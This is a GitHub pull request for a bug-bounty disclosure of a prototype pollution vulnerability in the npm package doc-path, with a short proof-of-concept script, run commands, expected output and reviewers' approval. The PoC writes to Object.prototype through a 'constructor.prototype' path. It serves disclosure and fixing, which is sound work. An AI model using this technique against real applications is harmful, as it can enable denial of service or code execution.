Skip to content

Prototype Pollution in doc-path#747

Merged
JamieSlome merged 5 commits into
418sec:stagingfrom
mohanl0l:m0hanlal-patch-1
Oct 7, 2020
Merged

Prototype Pollution in doc-path#747
JamieSlome merged 5 commits into
418sec:stagingfrom
mohanl0l:m0hanlal-patch-1

Conversation

@mohanl0l
Copy link
Copy Markdown
Contributor

@mohanl0l mohanl0l commented Oct 3, 2020

✍️ Description

doc-path is vulnerable to Prototype Pollution.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

  1. Create the following PoC file:
// poc.js
var docPath = require("doc-path")
var obj = {}
console.log("Before : " + obj.polluted);
docPath.setPath(obj , "constructor.prototype.polluted", "Yes! Polluted");
var obj1 = {}
console.log("After : " + obj1.polluted);
  1. Execute the following commands in another terminal:
npm i doc-path # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Polluted

💥 Impact

It may lead to Information Disclosure/DoS/RCE.

✅ Checklist

In my pull request, I have:

  • Created and populated the README.md and vulnerability.json files
  • Provided the repository URL and any applicable permalinks
  • Defined all the applicable weaknesses (CWEs)
  • Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
  • Checked that the vulnerability affects the latest version of the package released
  • Checked that a fix does not currently exist that remediates this vulnerability
  • Complied with all applicable laws

@huntr-helper huntr-helper added the disclosure Vulnerability disclosure label Oct 3, 2020
Copy link
Copy Markdown
Contributor

@Mik317 Mik317 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @m0hanlal 😄,
thanks for taking the time to submit to us this amazing disclosure 👍

LGTM 😄 🍰

PS: Did you join our Discord server? https://discord.gg/wkPS6yx

Cheers,
Mik

@ghost
Copy link
Copy Markdown

ghost commented Oct 6, 2020

LGTM! Can you fix the JSON so it passes validation and we'll get this merged 👍

@mohanl0l
Copy link
Copy Markdown
Contributor Author

mohanl0l commented Oct 7, 2020

Updated the JSON file

@ghost ghost requested a review from JamieSlome October 7, 2020 11:44
@JamieSlome JamieSlome merged commit 34d1f77 into 418sec:staging Oct 7, 2020
@alromh87
Copy link
Copy Markdown
Contributor

alromh87 commented Oct 7, 2020

Fixed @ mrodrig/doc-path@872ff95

@benharvie benharvie removed the request for review from JamieSlome October 14, 2020 14:54
@benharvie benharvie removed the disclosure Vulnerability disclosure label Oct 14, 2020
@huntr-helper huntr-helper added the disclosure Vulnerability disclosure label Oct 14, 2020
@huntr-helper huntr-helper requested review from benharvie and removed request for benharvie October 14, 2020 15:06
@benharvie benharvie requested review from JamieSlome and benharvie and removed request for Mik317, bbeale, mufeedvh and toufik-airane October 14, 2020 15:48
@benharvie
Copy link
Copy Markdown
Member

LGTM 👻

Testing purposes ❤️

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

disclosure Vulnerability disclosure

Projects

None yet

Development

Successfully merging this pull request may close these issues.

6 participants